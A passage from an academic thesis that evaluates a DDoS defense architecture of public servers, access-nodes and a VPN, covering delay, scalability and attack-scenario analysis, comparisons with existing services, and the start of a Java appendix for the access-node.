wants to succeed with his goals, he needs a 20 times larger attacking network (botnet) to 
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achieve  the  same  application  level  attack  rates  achievable  on  an  ordinary  server.  Yet, 

according to Walfish et al. [28], this contradicts with the expectation that future botnets will 

become smaller and smarter. Otherwise, the attacker will have to switch to lower level attacks 

to achieve higher request rates.

4.2.5.2 Experiment 9: Indirect Application Level Reflection Attack on Access-
node

This  experiment  evaluates  the  performance  of  the  access  node  under  an  indirect 

application level reflection attack. Such attack occurs when the public server receives a flood 

of, seemingly, legitimate requests from several clients at the same time. The public server 

accordingly tries to rent a channel for each client and replies back to these clients, however,  

none of these clients show up at the access node. Such behavior causes the access node to 

temporally allocate resources which are unused. However as described in the implementation 

section,  if  the  client  does  not  utilize  its  assigned  channel  before  tc expires,  then  those 

resources are freed.  

Each attacker is limited to one request per connection at  the public server's side,  thus 

significantly reducing the achievable application level request rate for a given set of attack 

machines. The amount of bytes transferred between the access node and the public server is 

measured experimentally for two attack rates 50 and 100 [requests/sec], (due to the limited 

number of used attack sources). Every HTTP GET request occupied 422 bytes on the wire. 

So, for the attack rate of 50 [requests/sec], the public server observers a combined traffic rate 

of 27.1 KB/s, i.e. 22.1 KB/s of application level traffic and 5 KB/s of TCP level traffic. For  

the  attack  rate  of  100  [requests/sec],  the  same  measured  values  were  doubled.  So, 

extrapolating these results, an application level attack rate of 100,000 [requests/sec], the total 

traffic reaching the public server will be equal to 54.2 MB/s. 

So what about the effect of such rates on a single access node? We measure the traffic  

volume observed by the access node for the attack rates of 50 and 100 [requests/sec] and 

noticed that the access node receives from the public server traffic of 9 KB/s and 18 KB/s 

respectively. So the public server only reflects one third of the amount of application level 

traffic it is bombarded with. So the reflector attack on the access node through the public 

server will cause the attack volume to shrink by 66.6 %. This evaluation was considering the 

attack effect on the bandwidth.
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From the results of experiments 8 and 9, the public server throttles the application level 

attack rates; 20 times reduction for the same attacking sources. Raising the bar for attackers,  

thus, requiring much largers botnets for generating the same level of attack rates on the public 

server. In addition, only one third of these attacks's bandwidth will be reflected to the access-

node.
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CHAPTER 5

ANALYTICAL INSPECTION AND DISCUSSION

The  proposed  system  design  may  raise  several  concerns,  mainly  regarding;  system 

efficiency against various DDoS attack scenarios, impact on the protected service quality, 

system ability to scale, and, the costs and tradeoffs that might necessitate from using such 

protection scheme, and also its superiority to other systems and under what conditions. This 

chapter provides analytical system examination and discussion of several related issues. 

5.1 Delay Cost
The  proposed  defense  scheme  introduces  two  forms  of  additional  delay  overhead 

experienced by each client.   Basically additional  overhead can be in  the form of,  either; 

initial connection delay or communication path delay. These values are evaluated in chapter 4 

only with respect to the effect of the prototype processing time with and without attacks. 

However,  here  the  additional  effects  of  the  client,  public  sever,  and access-node relative 

locations are considered.
5.1.1 Initial Connection Delay

Such delay results  from the  presence  of  the  public  server’s  role  in  the  client’s  initial  

connection stages. Initial connection delay is basically the time taken since the client starts 

connecting to the public server until the public server’s HTTP redirection message arrives at 

the client,  or in other words, the time taken for a client to start  communicating with the 

access-node for actual service. This additional time is imposed by the system as a result of the 

execution of the stages from 2 to 5, see figure 5.1. From the figure, it is clear that; the time 

taken by stages 2 and 5 is a function of the round trip time between the client and the public 

server (RTT(C-PS)) which highly depends on the topological location of both entities plus the 

processing delay at the public server side ∑ DPS taken to process; the first client message 

(between stage 2 and 3), and the access-node response message (between stage 4 and 5) 

which is typically equal to 3 [ms] according to system evaluation in chapter 4.
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On the other hand, the time taken by stages 3 and 4, (i.e., one attempt with one access-

node), is a function of the RTT between the public server and that access-node (RTT(PS-AN)), in 

addition to the time taken by the access-node to process the request received from the public 

server (i.e., tpan). The value of tpan is defined between the ending of stage 3 and the initiation of 

stage 4. According to the evaluations in chapter 4, tpan typically equals 2 [ms]. Let α be the 

number of public server attempts to lease a port for some client. If the access-node replies in 

stage 4 with a busy message or does not reply at all due to an ongoing  attack, the public 

server will need to attempt once again with a different access-node. Let t fan be the maximum 

time the public server should wait on for a response from the access-node. After tfan expires, α 

is  incremented by 1 and another  attempt is  performed by the  public  server  with another 

access-node, i.e. attempting α times. Let the total time taken by the public server to negotiate 

with one access-node, ANk, for permissions is defined as tank
;

 tank
=min t fan ,2×RTT PS−AN k

t pank
 (5.1)
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Figure 5.1: Overhead imposed by the system configuration: Initial connection overhead and 
communication path overhead.



Thus, the combined initial connection delay (Ti), from stage 2 to stage 5, is equal to;

 T i=2×RTT C−PS∑ DPS∑
k=1



tank
(5.2)

In the case of a non-responsive access-node, i.e., the second term of equation (5.1) is too 

high, then tan becomes equal to tfan. In the case of a timely responsive but busy access-node, tan 

is always less than tfan. That is, for the same number of attempts, the non-responsive case 

takes more time (worst case scenario) than the case where a busy message is received by the 

public sever. We consider the worst case scenario in the analysis here, estimating an upper  

limit for the initial connection delay, while the other case should always introduce less Ti. 

From that, assuming previous failed attempts are due to non-responsiveness of the access-

node, then equation (5.2) becomes; 
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Figure 5.2: Initial connection delay versus the topological distance between the public server  
and the access-node expressed in round trip time ( t fan=2[ s] , t pan

=2[ms ] ).
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T i=2×RTT C−PS∑ DPS−1×t fantan

=2×RTT C−PS∑ DPS−1×t fan2×RTT PS−AN 
t pan

 (5.3)

Consider that the public server selects the access-node according to its status, therefore α 

should be equal to 1 in this case, and equation (5.3) becomes;

 T i=2×RTT C−PS∑ DPS2×RTT PS−ANt pan
(5.4)

Consider the public server selecting the access-node closest to the client, then the RTT 

between the client and the access-node becomes minimum, and therefore; RTT(PS-AN) ≈ RTT(PS-

C). Then equation (5.4) can be formulated as follows;

 
T i≈4×RTT C−PS∑ DPSt pan

(4.5)

Now, for comparison, consider the case of an ordinary web server. By ordinary server we 

mean, a server that is not using the protection service at all. If we may consider the TCP three 

way handshake between a client and some  ordinary web server to be its initial connection 

overhead, then, in the ideal case, equation (4.5) can be re-stated that; Ti ≈ O(4×To), since the 

last two terms are typically much smaller, (equals 5 [ms], combined), compared to the first 

term, where To is the original time taken by a client to establish a TCP connection with an 

ordinary server. 

Figure 5.2 shows the initial connection overhead experienced by the client versus various 

response  times  between  the  public  server  and  the  access-node,  with  single  and  double 

attempts (α). The figure illustrates three cases of relative topological distances (represented in 

response time) between the client and the public server; close (10 [ms]), medium (150 [ms]), 

and, far (300 [ms]). Here the client distance from the access-node has no direct impact on the 

initial connection overhead experienced by this client. The value for tfan is empirically chosen 

equal to 2 seconds; however the choice of tfan may be performed dynamically by the public 

server.  In the figure,  the value of tpan is  assumed its  typical value of 2 [ms],  for the last 

responsive access-node.

It  is  worth  mentioning  that  if  the  term ∑ DPS tends  to  infinity,  then,  the  initial 

connection delay will consequently tend to infinity, therefore, creating a denial of service 

situation.  Such critical  case must be avoided by immunizing the designed system against 

possible attack scenarios. In spite of the implemented public server's ability to withstand large 
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attack rates, as suggested by chapter 4 experiments, however, replication may be inevitable 

considering the attacker's possible ability of using larger botnets to generate enormous rates. 

It is also possible to incorporate the public server functionality as part of the ISP protection 

service,  i.e.,  installing  it  at  the  ISP,  so  that  the  protected  service  can  be  relieved  from 

managing the replicated public servers. 
5.1.2 Communication Path Delay

Communication path delay is basically due to the presence of the additional store and 

forward point (i.e. access-node) in the client-server communication path. This added delay 

occurs on stages 7 and 8. To evaluate the latency introduced by the presence of an access-

node, let’s compare the two cases; the client-server case (i.e. no access-node) and the client-

AN-server case. Formulating the ratio of the latter to the former, provides us with equation 

(5.6) describing the percentage of additional delay, L.  

 L=∣1− RTT C−ANRTT AN−S∑ DAN

RTT C−S
∣×100% (5.6)

Where  RTT(C-AN) is  between  the  client  and the  access  node (i.e.  stage  7),  RTT (AN-S) is 

between the access-node and the protected server (i.e. stage 8), RTT(C-S) is between the client 

and the ordinary server (i.e., direct access, non protected server), and, ∑ DAN is the sum of 

delays within the access-node due to processing, queuing, etc. Thus for a minimum value of 

L, the terms RTT(C-AN) + RTT(AN-S) should be minimum. The term client-AN-server response 

time is used to combine both values where the value of ∑ DAN is typically equal to 1 [ms]. 

The optimal location for the access-node should be always chosen with reference to the client 

or the protected server, i.e. closest to either of these. 

Figure 5.3 shows the percentage of added communication path delay as a function of the 

response time between the client and the protected server, with the access-node in the middle. 

As reference values, three response times between the client and the ordinary (non-protected) 

server  are  shown.  The top curve represents  the case where  the  client  and the  server  are 

topologically near. In this case, the value of the client-AN-server response time dramatically 

affects the percentage of added delay,  with a worst  case scenario of 30 times increase in 

response time, while in the case of a topologically far client and server, the impact is not as 

severe, with a worst case scenario of double the original response time. Thus, based on the 

client’s origin, the public server should decide the importance of the access-node location 

decision.
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5.2 Scalability
The proposed system provides  protection  to  the  server’s  network  link  availability.  An 

important characteristic for such system is its ability to scale. Also, what are the constraints to 

such characteristic? In this subsection, system scalability issues are tackled with regard to the 

system resources and the requirements on them.
5.2.1 System Bottlenecks

An important question is, where is the possible bottlenecks for the proposed system? To be 

able of answering this question, it is important first to understand the possible causes for such 

bottlenecks. A bottleneck in the proposed system may occur due to one of two conditions; a 

successful flooding attack, or, too much increase in some service legitimate demand.

The first condition is covered in the evaluation chapter. It is shown that, with an efficient 

detection system, and a responsive public server, the protected service can serve its clients 

normally during attack. The link to the protected server experiences throughput degradation 

of less than 4%, yet, such degradation is not significant with more than one free access-node. 

To guarantee a well provisioned public server, one of two options are possible due to its 

simple functions; 1) Replicate the public server while DNS load-balancing requests to them, 

with active failover feature, and also use ISP protection. 2) Installing the public server at the 

ISP or the protection provider, to gain from their abundant bandwidth, is a possible option as 
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Figure 5.3: Percentage of added communication path latency. Clients closer to a server are  
more sensitive to access-node relative location.
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in [11].

The  second  condition,  when  the  legitimate  clientele  for  some  service  are  beyond  its 

server's ability to handle. In this case, the bottle neck in the system can become the protected 

server itself. Then the attacks are not the threat for the server's availability, but the protected 

server's  limited  resources,  e.g.  CPU,  memory,  or  bandwidth.  To avoid  similar  situations, 

usually, servers are replicated with identical content for increased ability of servicing more 

clients'  requests.  With  the  ability  to  replicate  the  protected  server  inside  the  VPN,  then 

amount of requests per second that can be served by the protected service as a whole, almost 

proportionally increases with the number of replicated servers. 

But  another  question  arises  then;  how the  load  balancing  for  the  replicated  protected 

servers, for the same service, is performed? Since the public server informs the access-node 

about the protected server’s IP address(es), therefore the public server can perform the load 

distribution  for  these  servers.  In  this  case,  round  robin  load  balancing  can  be  simply 

implemented by the public server. However such kind of load balancing originally have its 

demerits.  Assume  one  of  the  protected  sever's  replicas  was  already  overloaded  or  has 

temporarly went down for some reason. Therefore,  all  the clients redirected to  it  will  be 

denied service.  However,  a  possible  automatic  failover  mechanism can be by having the 

public server send the list of IP addresses of the replicas related to this service, while rotating 

the list for every new client. So in normal operation, round robin load balancing is performed 

by the public server, while in case of an unreachable replica, the access-node can try with the 

second protected  server  in  the  list  of  IP addresses  received from the  public  server.  This 

practice is possible due to the fact that the client connects to the access-node first before the 

access-node connects to the protected server. So the client will not be denied service during 

the access-node search for the "working" protected replica server for the client.  Also the 

access-node’s memory and CPU requirements should be modest even with increased numbers 

of replicated protected severs, as the access-node stores no server state information. Notice 

that  it  is  also  possible  to  have the access-node itself  perform the  load balancing for  the 

protected servers; by performing a server health check before connection. Such practice will 

avoid the case of selecting an overloaded protected replica server in the first place. By this, it 

is possible to; balance the legitimate load, increase total capacity, improve scalability, and 

provide increased reliability by redistributing the load of a failed protected replica server. In 

addition to blocking undesired traffic.
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5.2.2 Access-node bandwidth requirements
The estimated network traffic bandwidth usage per single access-node should always be 

kept  below  its  link  capacity.  The  limit  to  this  network  traffic  should  be  controlled 

dynamically by controlling the number of client-server sessions along with individual client’s 

bandwidth usage profile. The following formula describes the bandwidth being utilized by a 

certain access-node k:

 BW AN k
=∑

i=1

nk

BW i
≤C k (5.7)

Where; 

Ck ≡ Capacity of access-node ANk

BWANk
≡ Instantaneous bandwidth usage of access-node ANk

nk ≡ Number of connected client-server sessions at access-node ANk

BW i  ≡ Shaped bandwidth usage of client-server session i

From  that, it is clear that as the number of connected client-server sessions at access-node 

is highly dependent on the shaped bandwidth usage of each client-server session. Therefore, it 

is not practical to assign a fixed limit value for n in advance. Thus, each access-node should 
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Figure 5.4: Access-node strain analysis, describes the limits on the number of client-
AN-server sessions with the assumption of constant full duplex bandwidth usage.
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set a dynamic limit on n, to satisfy the above formula and to guarantee service quality. This 

dynamic limit determines whether the access-node may accept a new client from a requesting 

public server or not.

To have a rough estimate on values of n, refer to figure 5.4 that shows several assumptions 

for BW i and the corresponding values of n. In the figure, values of BW i  are constant 

with time, which is not the case in practice. In practice, usually HTTP based e-business web 

servers’ individual client traffic is not outlined as constant, with the clients pausing between 

their queries. Therefore, even more client-server sessions can coexist. Traffic shaping can be 

used for a guaranteed service level to all clients. 

Figure 5.5 shows the estimated number of client-server communication sessions within the 

whole system at a certain instant; assuming several constant values for BW i . Also, these 

constant values are time dependent in practice and as a result, a higher number of client-

server sessions can utilize the protection system at the same time.
5.2.3 Access-node ports exhaustion

The client connects to the access-node through the ephemerally assigned destination port. 

The client may open more than one TCP connection to the access-node through this port. 

Therefore, this client (possibly using several source ports) is identified by two parameters; 

client source IP address and access-node destination port. Then, if another client is to connect 

to the same access node, at least one of these two parameters must be different. That means, if 
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Figure 5.5: System scalability analysis.
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the new client appears to use the same source IP address of the first client, then a different 

destination port must be assigned. Otherwise, if the new client did have a different IP address, 

then, in this case, the new client may share the same destination port being used by the first  

client.

This port reuse property, along with the fact that the access-node is using the port range 

specified in chapter 3, makes the probability of port exhaustion at the access-node side a less 

likely event. To estimate the number of ports, P, being utilized at a certain access-node at a 

certain instant, consider the following formula;

 P k= max
1≤i≤nk

{i } (5.8)

Where;

θi ≡ Number of client-server sessions belonging to the client of IPi

nk ≡ Total number of connected client IP addresses at access-node ANk

To understand equation (5.8) more, consider the example in figure 5.6. Assume there are 4 

clients in the network of source IP1 and 2 clients in the other network. If the first network is 

having 4 client-server sessions with the 3 servers protected, and, if the second network is 

having only 2 client-server sessions, therefore, according to equation (5.8), the number of 

used ports in this example will be equal to 4. 

So, no matter how large the number of client IP's being connected to the access-node is, 

the number of assigned ports will remain within the ports range, as long as there is no client  

IP  having more than 16384 sessions per access node. Even in such case, the access-node can 
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Figure 5.6: Illustration for an example  
scenario; two client IP's and six client-

server sessions. Only four ports are 
needed in such case.



simply refuse having more client-server sessions from such network by telling the public 

server  to  select  another  access-node.  So,  obviously,  the  number  of  ports  is  not  a  scarce 

resource and does not constitute a vulnerability in the system.

5.3 Attack Scenarios
5.3.1 Concentrated Attack on the Public Server

Since only TCP traffic (and some DNS replies to previous outbound requests) is expected 

by the public server, only such traffic is passed to the public server by the ISP protection 

while dropping any other form of traffic for non-critical services for the server's operation 

addressed to the public server. Other forms of inbound traffic, ex.,  UDP, ICMP, traffic or 

malformed packets are filtered out by the ISP protection. For the attacker’s packets to reach 

the  public  server,  it  has  to  perform a  TCP based  attack  or  an  application  level  attack.  

Avoidance of TCP based attacks can be achieved by optimizing the public server itself, such 

as; increasing the server's backlogs, implementing SYN cookies, detection and prevention of 

connection flooding attacks. 

Also, the public server can be replicated easily since all the content reside at the protected 

server(s), therefore replicating the public server can be done without the need for any content 

synchronization.  It  is  recommended  to  diversify  the  public  servers’  ISPs,  since  ISPs 

themselves are susceptible to attacks. It is possible that the protected server cannot afford 

installing several public servers, due to a limited budget for example, in such case, the public 

server functionality may be offered by the ISP-based protection provider to be installed there, 

however it may also incur additional cost.
5.3.2 Concentrated Attack on One Access-node

Blind flood:

The access-node passes traffic flows only from a white-listed client,  who obeys the 

designed strict protocols, so unconnected attackers have no way to reach the protected server. 

If the blind (or blocked) flood’s combined traffic bandwidth is large enough to overwhelm the 

up-link to the access-node, then only all legitimate clients which are already connected to it 

can  be  redirected  to  access  another  access-node,  since  the  down-link  is  still  free.  This 

happens while the attacking machines remain blocked since they were not on the access-

node's white list on the first place.

Smart attack:

An attacker  might  think of  having all  his  army connect  normally at  first,  and then 
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attempt  to  attack  suddenly,  however,  according to  our  designed  connection  protocol,  the 

attacker has no choice on which access-node or port to use. The attacker will need to start the 

connection process from the beginning, and then the choice of which access-node to use, is 

dictated on him. Therefore, an attacker cannot concentrate a smart attack on a single access-

node. This leads us to the next attack possibility in subsection 5.4.3.

Also, if an attacker connects at first to some access-node, to become on its white list, 

and then starts flooding or misusing the protected server as in an application-level denial of 

service attack. The protected server is assumed to implement an intrusion detection system, 

such  systems  originally  lacked  for  efficient  reaction  functionality.  Nonetheless,  with  our 

proposal, reaction is as simple as removing the identified attackers from the white list at the 

access-node. Therefore the protected server will not see any further traffic from the attackers. 

Which will have to reconnect again via the public server then the access-node (possibly a 

different one) for a second attack attempt, thus increasing the work load on the attackers and 

reducing their achievable attack rates. Notice that the fact that attackers have to connect first 

before flooding makes attacks  based on IP spoofing with unreal  machines’ IP practically 

impossible. Hence, the attacker is limited to the number of real attacking machines it can 

recruit. Also the connection requirement should significantly reduce the attack rate for the 

same set of attackers.

5.3.3 Distributed Attack on Several Access-nodes
An attacker  might  attempt  to  reserve  as  many access-nodes'  resources  as  possible  by 

finishing and repeating stage 2 of figure 3.2 (in page 17), without the intention of completing 

the connection process. The TCP version of this attack is discussed in subsection 5.4.1. This 

time, the attacker is trying to cause the public server to perform stage 3 many times,  thus, 

reflecting the attack effect towards several access-node's resources, in addition to the public 

server's  resources.  However,  such  attack  is  mitigated  by;  optimizing  the  public  server's 

implementation, that is not to execute stage 3 repeatedly for the same client, and minimizing 

the value of tc. Therefore, the attackers have to re connect every time to execute stage 2 once,  

thus  limiting  such attack's  rate.  Also  the  amount  of  reflected  traffic  on  the  access-node, 

measured in chapter 4, equal to one third of the public server's received attack traffic (i.e., a 

66.6 % reduction in volume). If the attacker chooses to reconnect several times, this repeated 

reconnection pattern by the attacker should be detectable by the public server.  Also, if the 

attacker keeps opening connections to the access-nodes without actually using them, no effect 
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will  be  on  either  the  access-node  or  the  protected  server  because  the  access-node  only 

connects to the protected server if there is an actual traffic occurring on stage 7.  

An attacker might think of having all of its army connect normally at first, to as many 

access-nodes as possible, that is by completing stage 7 as expected by the access-nodes, and 

then attempt a sudden coordinated attack,  however,  this  scenario will  cause the protected 

server to immediately detect and block such action and therefore should promptly alert the 

access-nodes to block the undesired traffic, thus, response is prompt in this way. So all the 

attacker's  effort  for waging this  sophisticated attack is  wasted by a  single multicast  alert 

message from the protected servers to the concerned access-nodes. A next iteration of the 

access-nodes design can also incorporate a smart decision on traffic pattern anomalies.

If the blocked attack traffic is distributed on all nodes, we argue that the number of nodes 

is large enough. Consequently, the combined attack bandwidth will be distributed over the 

total number of nodes making enough space for legitimate clients to communicate normally 

with  their  desired  (protected)  servers.  Without  the  protected  servers’ resources  are  being 

affected nor their already connected clients by such incident. For example, Assume a total of 

5000 ANs each having a 100 Mbps connection bandwidth. Combined access bandwidth will 

be 500 Gbps. Assume a combined attack flood of 40 Gbps [29]. Therefore; 92% of the access 

bandwidth is  unharmed and available for legitimate client’s traffic and, most importantly, 

100% of servers' resources. Same applies to the access-node's memory and processing power. 

To guarantee that the number of access-nodes is high enough, it is recommended that the 

VPN protection should be a service provided by large service providers such as Akamai [19] 

or VeriSign [21], etc.
5.3.4 Other DoS Attack Types

The proposed configuration makes several attack types that depends on IP spoofing 

practically ineffective. On the other hand, attacks that target the application layer, such as in 

an HTTP GET flood where the attacker tries flooding either the public server with HTTP 

GET  requests  or  the  access-node  (thinking  it  is  the  server),  such  application  level 

misbehavior  of  an  already connected  attacker  can  be  immediately  detected  on  public  or 

protected  server  premises,  and  thus,  corrected  by  the  public  server  or  access-node, 

respectively, far from the actual protected servers. Therefore, thanks to the coordinated nature 

of the design, subscribing severs can be protected even from unprecedented  application level 

attacks. While the access-nodes can provide protection from TCP based attacks, since the 

protected server's TCP level is completely buffered by the access-nodes.
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5.4 Arguments and  Discussions
5.4.1 SYN-cookies Limitations

SYN-cookies  is  utilized  as  a  part  of  the  protection  for  the  public  server  which  can 

efficiently protect the SYN queue. A counter-argument might be SYN cookies have a limited 

support for TCP options; however, SYN-cookies is more likely to be used at the public server, 

where there is no data to be transferred except the redirection message. So, the use of SYN 

cookies does not have any effect on the user experience (at the access-node). In addition, a 

limited support of TCP options, by encoding them into the timestamp was added to Version 

2.6.26 of the Linux kernel [13].
5.4.2 Data Integrity and Confidentiality

The presence of the access-nodes in the middle of the client-server communication path 

raises concerns about the integrity of data passing through these access-nodes as well as its 

confidentiality.  By design,  the access-node does not need to open the messages in transit 

between the client and the server. However, to guarantee such information altering or reading 

is not possible, web servers use SSL which offers  end-to-end encryption. With SSL in place, 

the access-node has no way to read or alter any data being transferred. This also is kept as a 

design rule. Since the SSL header in situated between the TCP and the application layer,  

therefore, theoretically speaking, the design of the access-node should not have any negative 

effects on the end-to-end encrypted session. Also, as our performed tests results’ imply, SSL 

is fully compatible with the built prototype, thanks to the prior knowledge available at the 

access-node, from the public servers, about prospective client-server sessions.
5.4.3 Comparison to TCP Proxy Protection

An argument  might  say that  if  the  victim server  can  afford  installing  a  set  of  public 

servers; why not use the same set as a TCP proxy protection instead? Several points are made 

here to justify our work.

The TCP proxy can handle as many client requests per second as the public server can do 

without  fail  as  verified  in  chapter  4.  However,  the  TCP  proxy's  ability  to  handle  the 

communications of these clients without a degradation of service is questionable. While the 

public server only redirects these clients to a not overloaded access-node, therefore able to 

protect the service level, as long as the protected server can handle the legitimate clients. As 

verified  in  experiment  6  (page  44),  one  public  server  can  become more  efficient  than  6 

redundant  TCP  proxies,  since  it  can  handle  6  times  as  much  clients  without  service 

degradation, where performance is guaranteed at the selected access-nodes. So the server that 
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can afford installing a proxy to protect itself can simply replace it with the public server, for a 

better service quality and more efficient DDoS response mechanism.

A TCP proxy can bottle neck the connection to the protected server(s) even without an 

attack. So, to replicate the protected server(s), a proportional set of TCP proxies is required. 

However, the public server is different since the access-nodes will  do the communication 

function.  Then as  the  set  of  protected  servers  expand,  the  protected  server's  set  of  TCP 

proxies will need to expand proportionally, but with the proposed architecture, no need for 

such  expansion  with  thousands  of  access-nodes.  Assuming  a  service  provider  with  such 

number of access-nodes is a realistic assumption considering providers such as Akamai which 

runs, at least, 25,000 servers across 71 countries within 1,000 networks [19].

In the case of a TCP proxy, if  an application level attack is detected by the protected 

server,  then  blockage  need  to  be  by IP address,  therefore  incurring  a  possible  collateral 

damage. While with the access-node, if attack is detected, then, blockage is by client, and 

other clients sharing the same IP will not suffer the collateral damage. 

Also, the public server can be safely offered as a service by an ISP, since no client's data is  

expected to pass through it to the protected server, as in the case of a TCP proxy.
5.4.4 Comparisons to Existing Commercial Methods 

Commercially available methods for either defending against DDoS attacks or avoiding 

it's effect, such as those presented in section 2.2.4 (page 12), already exist. Here a qualitative 

comparison with our proposed method is presented.

Avoiding the DDoS effect on a web server can be achieved by using a CDN. For a web 

server that does not serve personal or confidential data transactions to its clients, CDN is a 

more  suitable  solution  as  it  has  the  advantage  of  accelerating  the  contents  cached at  its  

servers. For Internet-based services such as e-banking, CDN can be the solution of choice; 

however,  personal  transaction  data  will  have  to  remain  at  the  origin  server  due  to  legal 

reasons. So acceleration will be in part only of the requested contents. The problem however 

is that for such data to be accessible by its intended users, the CDN edge servers have to 

accept the encrypted client connection, decrypt the received messages, and then establish a 

separate SSL connection to the origin server [20]. With such configuration, the confidentiality 

of such personal transaction data, being decrypted at the CDN servers, becomes questionable. 

So, for the bank IT department, there is an obvious tradeoff between offering an accelerated 

experience via a CDN and protecting the bank clients' personal transaction data in transit. But 
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with the proposed method, a single secure connection between the client and the server is 

maintained.

VeriSign  Internet  defense  network  is  SSL  compatible,  since  the  protected  server  is 

assigned a distinctive IP address, therefore, decryption in the middle at the mitigation centers 

is not required  [30]. So, since both, our mechanism and the VeriSign mechanism, can hide 

web servers without the trade off present with the case of CDN, we compare here from a 

different angle. VeriSign mitigation method is based on filtering traffic according to detected 

anomalies  far  from  the  server.  Yet  a victim-end  detection  system maximizes  detection 

accuracy since  it  can  observe  all  the  traffic  reaching  the  victim as  well  as  the  victim’s 

resource consumption [16]. Even with the assumption of the same level of detection accuracy, 

our proposed mechanism has an additional advantage of differentiation between clients by 

source IP and destination port. This provides the advantage of minimizing collateral damage, 

and avoiding the undesirable situation of “poor traffic” [16].

5.4.5 Limitations of this Work 
The evaluation methods used for the proposed system included a limited set of attack 

types. TCP SYN flooding attack, NAPTHA attack, and HTTP GET flooding attack. However, 

the attack types used for evaluating the system was deliberately selected according to it's  

similarity to legitimate traffic. Mirkovic et al. in [9] classified such kinds of attack as “non-

filterable”, where  the  attack  traffic  resembles  the  legitimate  clients  traffic  in  an 

indistinguishable  way.  Other  “filterable” attack  traffic,  such  as  UDP or  ICMP,   can  be 

blocked by the firewall [9]. Also, by experimentation, we proved that protocol exploit attacks, 

such as TCP based attacks an HTTP based attacks, have a more severe impact on the victim, 

and also require much less traffic, than lower level attacks such as ICMP echo request flood.

Also only a limited volume of attack traffic was achievable in the performed experiments. 

Up  to  146,000  [requests/second]  for  TCP SYN  flooding  attack,  while  for  HTTP GET 

flooding attack, up to 1875 [requests/second] for the attacks on the apache2.2 web server, and 

only  up  to  100  [requests/second]  in  the  case  of  the  public  server.  Such  rates  are  not 

comparable to the rates achievable by a large attacking botnet for example. Although not 

enough, experimenting with such rates, on the constructed testbed with its basic equipment, 

gives  an understanding for the system behavior  and capabilities under  such rates.  It  also 

proves the concept of the system. So, changing the topology, equipment used, attack types 

and volumes will lead to different measurement values, however, the obtained results proves 
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the soundness of the system and it's resiliency to such attacks even with such non specialized 

equipment. Yet system deployment on a more sophisticated testbed and experimenting on the 

prototype with real-life like conditions is necessary. 
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Table 5.1: Comparison between several methods.

Mechanism Content 
accelaratioon SSL compatibility Traffic 

distribution Detection / Mitigation Collateral damage

CDN Yes Requires certificate 
installment on the edge 

servers

DNS / HTTP Edge servers based detection and filtration Less likely with 
replicated content.

VeriSign No Yes DNS / BGP Mitigation center based detection and filtration Possible with "non-
filterable" traffic

TCP proxy No Yes DNS Non-application level attacks blockage.
Victim-end based application level attacks detection.
 Victim-end based application level attacks reaction.

Link bottle neck to the 
protected servers with 

higher attack rates.
Proposed 
method

No Yes DNS/ HTTP Non-application level attacks blockage.
Victim-end based application level attacks detection.
 Access-node based application level attacks reaction.

Less likely with the 
access-node's distinction 

to clients.
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CHAPTER 6

CONCLUSION AND FUTURE WORK

Conclusion

The problem of DDoS protection was addressed while stressing on practicality for a more 

plausible deployability and the importance of compatibility with SSL. Such protection service 

can belong to a provider with a globally distributed set of data centers, therefore, requiring no 

modifications to legacy network equipment or protocols. Experiments show system concept 

soundness. In addition, tests on the system implementation show its ability to handle requests 

rates much larger than a web server can handle without performance degradation, even with 

implementing, traditional, victim-side, protection methods such as TCP proxy protection and 

SYN cookies. The measurements on the AN shows a guaranteed level of QoS even with TCP 

based attacks like NAPTHA and SYN flooding. This is assuming the implementation of an 

efficient detection system at the victim side.  The proposed defense mechanism also  “raises 

the bar” for application level attacks; i.e., to achieve the same level of attack rates  on the 

public server, a much larger botnet is required. Similarly, the amount of over-provisioning 

required at  a the protected service  is much less than what a non-protected service would 

require  since  it  is  only  proportional  with  the  expected  clientele  of  the  service,  not  the 

expected attack rate. This is a powerful and secure method of thwarting DDoS attacks, and is 

most suitable for web servers that serve personal transaction data.

Future Work

The proposed mechanism cannot react to attacks without an efficient detection system. 

Complete defense architecture should therefore provide the detection functionality as well, to 

be installed at the victim-side. A future extension for this work would be the design of an 

accurate detection mechanism with the necessary alert functionalities, or possibly integrating 

an existent detection mechanism with adding those alert functionalities to it.

In  the  current  implementation,  the  alert  condition  is  simply  triggered  by  closing  the 

connection  from  the  protected  server's  side,  however,  a  future  iteration  on  the  design 
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implementation  can  implement  a  more  sophisticated  alert  signaling  method  to  carry 

information  about  the  detected  type  of  attack  and  possibly  request  a  certain  level  of 

punishment to a suspicious client, according to its misbehavior severity, without the need for 

closing  the  connection,  for  example,  by  introducing  additional  latency to  the  suspicious 

client's communication channel. Such alert signaling can be encoded in the TCP header itself,  

from the protected server, for simplicity.

The values for tc, tmax, conmax, and, tm were empirically user defined for the current version 

of the POC prototype to demonstrate its  workability and system efficiency against attack 

scenarios, however more optimum values should be specified. A possible future extension to 

this work can be to employ machine learning for determining these values dynamically.

Also,  a next  iteration of the access-nodes'  design can incorporate  a  smart  decision on 

traffic  pattern  anomalies.  Therefore,  adding  detection  functionalities  to  the  access-nodes 

themselves.

Instead of having the access-nodes update the public servers periodically, the public server 

can  select  a  subset  of  the  nearest  access-nodes  and measures  their  health  condition  then 

selects the one with best condition.

Next  steps  also  include;  optimizing  the  prototype  source  code  for  an  even  higher 

performance, and test the system prototype further to evaluate its performance against several 

attack scenarios. Testing on a large scale test bed such as Core lab, so a closer to real attack 

patterns can be emulated on a larger scale.
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APPENDIX: SOURCE CODE

Access node:

//Access-node main 
import java.net.*;
import java.io.*;

public class AccessNode {
    private static InetAddress bindAddrP = null;
    private static InetAddress bindAddrS = null;
    public static void main(String[] args) throws IOException {
        bindAddrP = InetAddress.getByName("10.0.0.4");//Public IP (intternet side)
        bindAddrS = InetAddress.getByName("192.168.0.2");//private IP (VPN side)
        ServerSocket serverSocket = null;
        boolean listening = true;
        int PortN = 8080;
        int conMax = 15; //15
        int portMin = 49152, portMax = 65535;
        int portRand = portMin;
        try {
            Process child = Runtime.getRuntime().exec("iptables -A ACCESSNODE -p tcp -s 10.0.0.1 --dport " + 
PortN + " -j ACCEPT");
        } catch (IOException e) {
        }
        try {
            serverSocket = new ServerSocket(PortN, 1000, bindAddrP);
        } catch (IOException e) {
            System.err.println("Could not listen on portN: 8080.");
            System.exit(1);
        }
        System.out.println("\n-- Started listening to portN--");
        BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
        System.out.println("Press Any Key to stop AN");
//main loop
        while (listening) {
            new AccessNodeThreadI(serverSocket.accept(), portRand, bindAddrP, bindAddrS, conMax).start(); 
            portRand = portRand + conMax;  
